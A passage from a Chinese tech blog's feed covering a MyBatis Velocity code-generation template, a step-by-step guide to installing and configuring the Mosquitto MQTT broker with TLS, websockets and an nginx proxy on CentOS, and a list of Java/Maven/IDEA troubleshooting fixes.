class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">##自动导入包（仅导入实体属性需要的包，通常用于实体类）</span><br><span class="line">#foreach($import in $importList)</span><br><span class="line">import $!import;</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">mybatisSupport</span><br><span class="line">##针对Mybatis 进行支持，主要用于生成xml文件</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    ##储存列类型</span><br><span class="line">    $tool.call($column.ext.put(&quot;sqlType&quot;, $tool.getField($column.obj.dataType, &quot;typeName&quot;)))</span><br><span class="line">    #if($tool.newHashSet(&quot;java.lang.String&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;VARCHAR&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.lang.Boolean&quot;, &quot;boolean&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;BOOLEAN&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.lang.Byte&quot;, &quot;byte&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;BYTE&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.lang.Integer&quot;, &quot;int&quot;, &quot;java.lang.Short&quot;, &quot;short&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;INTEGER&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.lang.Long&quot;, &quot;long&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;INTEGER&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.lang.Float&quot;, &quot;float&quot;, &quot;java.lang.Double&quot;, &quot;double&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;NUMERIC&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.util.Date&quot;, &quot;java.sql.Timestamp&quot;, &quot;java.time.Instant&quot;, &quot;java.time.LocalDateTime&quot;, &quot;java.time.OffsetDateTime&quot;, &quot;java.time.ZonedDateTime&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;TIMESTAMP&quot;)</span><br><span class="line">    #elseif($tool.newHashSet(&quot;java.sql.Date&quot;, &quot;java.time.LocalDate&quot;).contains($column.type))</span><br><span class="line">        #set($jdbcType=&quot;TIMESTAMP&quot;)</span><br><span class="line">    #else</span><br><span class="line">        ##其他类型</span><br><span class="line">        #set($jdbcType=&quot;OTHER&quot;)</span><br><span class="line">    #end</span><br><span class="line">    $tool.call($column.ext.put(&quot;jdbcType&quot;, $jdbcType))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##定义宏，查询所有列</span><br><span class="line">#macro(allSqlColumn)#foreach($column in $tableInfo.fullColumn)$column.obj.name#if($velocityHasNext), #end#end#end</span><br></pre></td></tr></table></figure><p>prefix</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">## 控制是否根据表名首段分割</span><br><span class="line">#set($isEffect=true)</span><br><span class="line">#set($prefixPathPipe=&quot;&quot;)</span><br><span class="line">#set($prefixPathDot=&quot;&quot;)</span><br><span class="line">##获取表名前缀</span><br><span class="line">#if($tableInfo.obj.name.indexOf(&quot;_&quot;) != -1 &amp;&amp; $isEffect)</span><br><span class="line">    #set($tablePrefix=$tableInfo.obj.name.split(&quot;_&quot;).get(0))</span><br><span class="line">    #set($tableApi=$tableInfo.obj.name.replace(&quot;_&quot;, &quot;/&quot;))</span><br><span class="line">    #set($prefixPathPipe=$tool.append(&quot;/&quot;,$tablePrefix))</span><br><span class="line">    #set($prefixPathDot=$tool.append(&quot;.&quot;,$tablePrefix))</span><br><span class="line">    </span><br><span class="line">#end</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/202111021334288.png&quot; alt=&quot;image&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/2022/09/6</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="模版" scheme="https://blog.allbs.cn/tags/%E6%A8%A1%E7%89%88/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS中安装mqtt</title>
    <link href="https://blog.allbs.cn/posts/1840/"/>
    <id>https://blog.allbs.cn/posts/1840/</id>
    <published>2021-11-02T05:50:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h3 id="下载路径">下载路径</h3><p><a href="https://mosquitto.org/download/">mqtt客户端地址</a></p><h3 id="下载命令">下载命令</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget http://mosquitto.org/files/source/mosquitto-1.4.9.tar.gz</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021350843.png" alt="image"></p><h3 id="解压">解压</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tar zxvf mosquitto-1.4.9.tar.gz</span><br></pre></td></tr></table></figure><h3 id="安装mosquitto依赖库">安装mosquitto依赖库</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yum install gcc-c++</span><br><span class="line">yum install cmake</span><br><span class="line">yum install openssl-devel</span><br></pre></td></tr></table></figure><h3 id="扩展插件（可不安装）">扩展插件（可不安装）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">#c-areas 支持异步DNS查找的库</span><br><span class="line">wget http://c-ares.haxx.se/download/c-ares-1.10.0.tar.gz</span><br><span class="line">tar xvf c-ares-1.10.0.tar.gz</span><br><span class="line">cd c-ares-1.10.0</span><br><span class="line">./configure</span><br><span class="line">make</span><br><span class="line">sudo make install</span><br><span class="line"></span><br><span class="line">#lib-uuid 支持为每个连接客户端生成唯一uuid</span><br><span class="line">yum install libuuid-devel</span><br><span class="line"></span><br><span class="line">#libwebsockets 支持需使用websocket的应用</span><br><span class="line"></span><br><span class="line">wget https://github.com/warmcat/libwebsockets/archive/v1.3-chrome37-firefox30.tar.gz</span><br><span class="line">tar zxvf v1.3-chrome37-firefox30.tar.gz</span><br><span class="line">cd libwebsockets-1.3-chrome37-firefox30</span><br><span class="line">mkdir build</span><br><span class="line">cd build</span><br><span class="line">cmake .. -DLIB_SUFFIX=64</span><br><span class="line">make install</span><br><span class="line"></span><br><span class="line">yum install gcc gcc-c++ libstdc++-devel </span><br><span class="line"></span><br><span class="line">yum install openssl-devel -y</span><br><span class="line"></span><br><span class="line">yum install c-ares-devel -y</span><br><span class="line"></span><br><span class="line">yum install uuid-devel -y</span><br><span class="line"></span><br><span class="line">yum install libuuid-devel -y</span><br></pre></td></tr></table></figure><h3 id="修改mosquitto">修改mosquitto</h3><blockquote><p>注释WITH_SRV:=yes和WITH_UUID:=yes</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd mosquitto-1.4.9</span><br><span class="line">vim config.mk</span><br></pre></td></tr></table></figure><h3 id="移动libmosquitto-so-1">移动libmosquitto.so.1</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#创建链接</span><br><span class="line">sudo ln -s /usr/local/lib/libmosquitto.so.1 /usr/lib/libmosquitto.so.1</span><br><span class="line">#更新链接</span><br><span class="line">sudo ldconfig</span><br></pre></td></tr></table></figure><h3 id="创建用户">创建用户</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo groupadd mosquitto</span><br><span class="line">sudo useradd -g mosquitto mosquitto</span><br></pre></td></tr></table></figure><h3 id="安装">安装</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make</span><br><span class="line">sudo make install</span><br></pre></td></tr></table></figure><h3 id="修改配置文件">修改配置文件</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">touch mosquitto.conf</span><br></pre></td></tr></table></figure><blockquote><p>配置文件</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br></pre></td><td class="code"><pre><span class="line"># =================================================================</span><br><span class="line"># General configuration</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 客户端心跳的间隔时间</span><br><span class="line">#retry_interval 20</span><br><span class="line"></span><br><span class="line"># 系统状态的刷新时间</span><br><span class="line">#sys_interval 10</span><br><span class="line"></span><br><span class="line"># 系统资源的回收时间，0表示尽快处理</span><br><span class="line">#store_clean_interval 10</span><br><span class="line"></span><br><span class="line"># 服务进程的PID</span><br><span class="line">#pid_file /var/run/mosquitto.pid</span><br><span class="line"></span><br><span class="line"># 服务进程的系统用户</span><br><span class="line">#user mosquitto</span><br><span class="line"></span><br><span class="line"># 客户端心跳消息的最大并发数</span><br><span class="line">#max_inflight_messages 10</span><br><span class="line"></span><br><span class="line"># 客户端心跳消息缓存队列</span><br><span class="line">#max_queued_messages 100</span><br><span class="line"></span><br><span class="line"># 用于设置客户端长连接的过期时间，默认永不过期</span><br><span class="line">#persistent_client_expiration</span><br><span class="line"></span><br><span class="line"># =================================================================</span><br><span class="line"># Default listener</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 服务绑定的IP地址</span><br><span class="line">#bind_address</span><br><span class="line"></span><br><span class="line"># 服务绑定的端口号</span><br><span class="line">#port 1883</span><br><span class="line"></span><br><span class="line"># 允许的最大连接数，-1表示没有限制</span><br><span class="line">#max_connections -1</span><br><span class="line"></span><br><span class="line"># cafile：CA证书文件</span><br><span class="line"># capath：CA证书目录</span><br><span class="line"># certfile：PEM证书文件</span><br><span class="line"># keyfile：PEM密钥文件</span><br><span class="line">#cafile</span><br><span class="line">#capath</span><br><span class="line">#certfile</span><br><span class="line">#keyfile</span><br><span class="line"></span><br><span class="line"># 必须提供证书以保证数据安全性</span><br><span class="line">#require_certificate false</span><br><span class="line"></span><br><span class="line"># 若require_certificate值为true，use_identity_as_username也必须为true</span><br><span class="line">#use_identity_as_username false</span><br><span class="line"></span><br><span class="line"># 启用PSK（Pre-shared-key）支持</span><br><span class="line">#psk_hint</span><br><span class="line"></span><br><span class="line"># SSL/TSL加密算法，可以使用“openssl ciphers”命令获取</span><br><span class="line"># as the output of that command.</span><br><span class="line">#ciphers</span><br><span class="line"></span><br><span class="line"># =================================================================</span><br><span class="line"># Persistence</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 消息自动保存的间隔时间</span><br><span class="line">#autosave_interval 1800</span><br><span class="line"></span><br><span class="line"># 消息自动保存功能的开关</span><br><span class="line">#autosave_on_changes false</span><br><span class="line"></span><br><span class="line"># 持久化功能的开关</span><br><span class="line">persistence true</span><br><span class="line"></span><br><span class="line"># 持久化DB文件</span><br><span class="line">#persistence_file mosquitto.db</span><br><span class="line"></span><br><span class="line"># 持久化DB文件目录</span><br><span class="line">#persistence_location /var/lib/mosquitto/</span><br><span class="line"></span><br><span class="line"># =================================================================</span><br><span class="line"># Logging</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 4种日志模式：stdout、stderr、syslog、topic</span><br><span class="line"># none 则表示不记日志，此配置可以提升些许性能</span><br><span class="line">log_dest none</span><br><span class="line"></span><br><span class="line"># 选择日志的级别（可设置多项）</span><br><span class="line">#log_type error</span><br><span class="line">#log_type warning</span><br><span class="line">#log_type notice</span><br><span class="line">#log_type information</span><br><span class="line"></span><br><span class="line"># 是否记录客户端连接信息</span><br><span class="line">#connection_messages true</span><br><span class="line"></span><br><span class="line"># 是否记录日志时间</span><br><span class="line">#log_timestamp true</span><br><span class="line"></span><br><span class="line"># =================================================================</span><br><span class="line"># Security</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 客户端ID的前缀限制，可用于保证安全性</span><br><span class="line">#clientid_prefixes</span><br><span class="line"></span><br><span class="line"># 允许匿名用户</span><br><span class="line">#allow_anonymous false</span><br><span class="line"></span><br><span class="line"># 用户/密码文件，默认格式：username:password</span><br><span class="line">#password_file</span><br><span class="line">password_file /etc/mosquitto/pwfile.conf</span><br><span class="line"></span><br><span class="line"># PSK格式密码文件，默认格式：identity:key</span><br><span class="line">#psk_file</span><br><span class="line"></span><br><span class="line"># pattern write sensor/%u/data</span><br><span class="line"># ACL权限配置，常用语法如下：</span><br><span class="line"># 用户限制：user &lt;username&gt;</span><br><span class="line"># 话题限制：topic [read|write] &lt;topic&gt;</span><br><span class="line"># 正则限制：pattern write sensor/%u/data</span><br><span class="line">#acl_file</span><br><span class="line"></span><br><span class="line"># =================================================================</span><br><span class="line"># Bridges</span><br><span class="line"># =================================================================</span><br><span class="line"></span><br><span class="line"># 允许服务之间使用“桥接”模式（可用于分布式部署）</span><br><span class="line">#connection &lt;name&gt;</span><br><span class="line">#address &lt;host&gt;[:&lt;port&gt;]</span><br><span class="line">#topic &lt;topic&gt; [[[out | in | both] qos-level] local-prefix remote-prefix]</span><br><span class="line"></span><br><span class="line"># 设置桥接的客户端ID</span><br><span class="line">#clientid</span><br><span class="line"></span><br><span class="line"># 桥接断开时，是否清除远程服务器中的消息</span><br><span class="line">#cleansession false</span><br><span class="line"></span><br><span class="line"># 是否发布桥接的状态信息</span><br><span class="line">#notifications true</span><br><span class="line"></span><br><span class="line"># 设置桥接模式下，消息将会发布到的话题地址</span><br><span class="line"># $SYS/broker/connection/&lt;clientid&gt;/state</span><br><span class="line">#notification_topic</span><br><span class="line"></span><br><span class="line"># 设置桥接的keepalive数值</span><br><span class="line">#keepalive_interval 60</span><br><span class="line"></span><br><span class="line"># 桥接模式，目前有三种：automatic、lazy、once</span><br><span class="line">#start_type automatic</span><br><span class="line"></span><br><span class="line"># 桥接模式automatic的超时时间</span><br><span class="line">#restart_timeout 30</span><br><span class="line"></span><br><span class="line"># 桥接模式lazy的超时时间</span><br><span class="line">#idle_timeout 60</span><br><span class="line"></span><br><span class="line"># 桥接客户端的用户名</span><br><span class="line">#username</span><br><span class="line"></span><br><span class="line"># 桥接客户端的密码</span><br><span class="line">#password</span><br><span class="line"></span><br><span class="line"># bridge_cafile：桥接客户端的CA证书文件</span><br><span class="line"># bridge_capath：桥接客户端的CA证书目录</span><br><span class="line"># bridge_certfile：桥接客户端的PEM证书文件</span><br><span class="line"># bridge_keyfile：桥接客户端的PEM密钥文件</span><br><span class="line">#bridge_cafile</span><br><span class="line">#bridge_capath</span><br><span class="line">#bridge_certfile</span><br><span class="line">#bridge_keyfile</span><br></pre></td></tr></table></figure><h3 id="设置密码">设置密码</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建pwfile.conf</span></span><br><span class="line">touch pwfile.conf</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">设置用户名</span></span><br><span class="line">mosquitto_passwd /etc/mosquitto/pwfile.conf lyc</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">输入密码、确认密码</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021350834.png" alt="image"></p><h3 id="运行">运行</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mosquitto -c /etc/mosquitto/mosquitto.conf -d</span><br></pre></td></tr></table></figure><h3 id="设置log">设置log</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">配置加入log_dest file /mnt/data/mqtt/mosquitto.log</span><br><span class="line">chmod -R 777 mqtt</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021351020.png" alt="image"></p><h3 id="使用">使用</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021351543.png" alt="image"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/a3fc213b4d433d3b6c3b108756c90a18.png" alt="image"></p><h3 id="带端口">带端口</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/d427109c9ee21034ccf0a1b4cc2c7a73.png" alt="image"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/5e8efef0d1f1fba963b116620627adec.png" alt="image"></p><h3 id="开启websocket支持-修改配置文件">开启websocket支持,修改配置文件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">port 1883</span><br><span class="line"># 配置支持websocket了</span><br><span class="line">listener 8080</span><br><span class="line">protocol websockets</span><br></pre></td></tr></table></figure><h3 id="加上ssl协议">加上ssl协议</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/mosquitto/mosquitto.conf</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">mqtt 协议</span></span><br><span class="line">port 1883</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">mqtt+ssl</span> </span><br><span class="line">listener 8883</span><br><span class="line">cafile /home/yangjb/apache/1_root_bundle.crt</span><br><span class="line">certfile /home/yangjb/apache/2_www.qilv.group.crt</span><br><span class="line">keyfile /home/yangjb/apache/3_www.qilv.group.key</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">websocket 协议</span></span><br><span class="line">listener 8080</span><br><span class="line">protocol websockets</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">websocket+ssl</span> </span><br><span class="line">listener 8081</span><br><span class="line">protocol websockets</span><br><span class="line">cafile /home/yangjb/apache/1_root_bundle.crt</span><br><span class="line">certfile /home/yangjb/apache/2_www.qilv.group.crt</span><br><span class="line">keyfile /home/yangjb/apache/3_www.qilv.group.key</span><br></pre></td></tr></table></figure><h3 id="通过-nginx转发websocket">通过 nginx转发websocket</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">location /mqtt &#123;</span><br><span class="line">    proxy_pass http://127.0.0.1:8080;</span><br><span class="line">    proxy_set_header Sec-WebSocket-Protocol mqtt;</span><br><span class="line">    # 这行就是去除 Sec-WebSocket-Protocol</span><br><span class="line">    more_clear_headers Sec-WebSocket-Protocol;</span><br><span class="line"></span><br><span class="line">    proxy_http_version 1.1;</span><br><span class="line">    proxy_set_header Upgrade websocket;</span><br><span class="line">    proxy_set_header Connection &quot;upgrade&quot;;</span><br><span class="line">    proxy_set_header X-real-ip $remote_addr;</span><br><span class="line">    proxy_set_header X-Forwarded-For $remote_addr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;下载路径&quot;&gt;下载路径&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mosquitto.org/download/&quot;&gt;mqtt客户端地址&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;下载命令&quot;&gt;下载命令&lt;/h3&gt;
&lt;figure class=&quot;highlight shel</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="mqtt" scheme="https://blog.allbs.cn/tags/mqtt/"/>
    
  </entry>
  
  <entry>
    <title>问题记录与解决</title>
    <link href="https://blog.allbs.cn/posts/54328/"/>
    <id>https://blog.allbs.cn/posts/54328/</id>
    <published>2021-11-02T03:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h3 id="新建maven项目右侧缺少maven窗口">新建maven项目右侧缺少maven窗口</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>顶级包下pom.xml 右键add as a maven project</p>              </div>            </details><hr><h3 id="No-Feign-Client-for-loadBalancing-defined-Did-you-forget-to-include-spring-cloud-starter-netflix-ribbon">No Feign Client for loadBalancing defined. Did you forget to include spring-cloud-starter-netflix-ribbon?</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>顶级包下pom.xml 右键add as a maven project<br><img src="https://nas.allbs.cn:8888/cloudpic/clipboard.png" alt="image"></p>              </div>            </details><hr><h3 id="yml-中文件-包裹的字符无法识别-如-artified">yml 中文件@包裹的字符无法识别 如@artified@</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>在项目发布路径 执行命令<code>mvn spring-boot:run</code></p>              </div>            </details><hr><h3 id="git-提交443错误-LibreSSL-SSL-connect-SSL-ERROR-SYSCALL-in-connection-to-github-com-443">git 提交443错误 LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to <a href="http://github.com:443">github.com:443</a></h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>git目录下执行 git config --global http.sslBackend “openssl”</p>              </div>            </details><hr><h3 id="idea-明明存在的类却报红">idea 明明存在的类却报红</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>清理idea文件索引和本地缓存</p><p>文件=&gt;清理缓存</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211102112317245.png" alt="image-20211102112317245"></p>              </div>            </details><hr><h3 id="maven打包出错">maven打包出错</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.22.2:test (default-test) on project allbs-test: There are test failures.</span><br><span class="line"></span><br><span class="line">Please refer to D:\AllbsWorkspace\allbs-utils-all\allbs-utils-all\allbs-test\target\surefire-reports for the individual test results.</span><br><span class="line">Please refer to dump files (if any exist) [date].dump, [date]-jvmRun[N].dump and [date].dumpstream.</span><br></pre></td></tr></table></figure><details red><summary> 解决方法 </summary>              <div class='content'>              <p>关闭单元测试 或者mvn clean -DskipTests</p><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021132903.png" alt="image"></p>              </div>            </details><hr><h3 id="Error-attempting-to-get-column-‘operate-user-name’-from-result-set-Cause-java-sql-SQLDataException-Cannot-determine-value-type-from-string">Error attempting to get column ‘operate_user_name’ from result set.  Cause: java.sql.SQLDataException: Cannot determine value type from string</h3><mark class="hl-label blue">产生原因:</mark><p>实体类lombok的@Builder注解导致mybatis映射失败</p><details red><summary> 解决方法 </summary>              <div class='content'>              <p>去除@Builder</p>              </div>            </details><hr><h3 id="maven-package-或者-deploy-控制台乱码">maven package 或者 deploy 控制台乱码</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>添加-Dfile.encoding=GBK</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/01/2a60e08b470052204751681e3bb95633.png" alt="image-20220126165840684"></p>              </div>            </details><hr><h3 id="java-lang-NoSuchFieldError：Companion">java.lang.NoSuchFieldError：Companion</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>okio包冲突，版本不和minio版本的okhttp中的okio版本对应</p>              </div>            </details><hr><h3 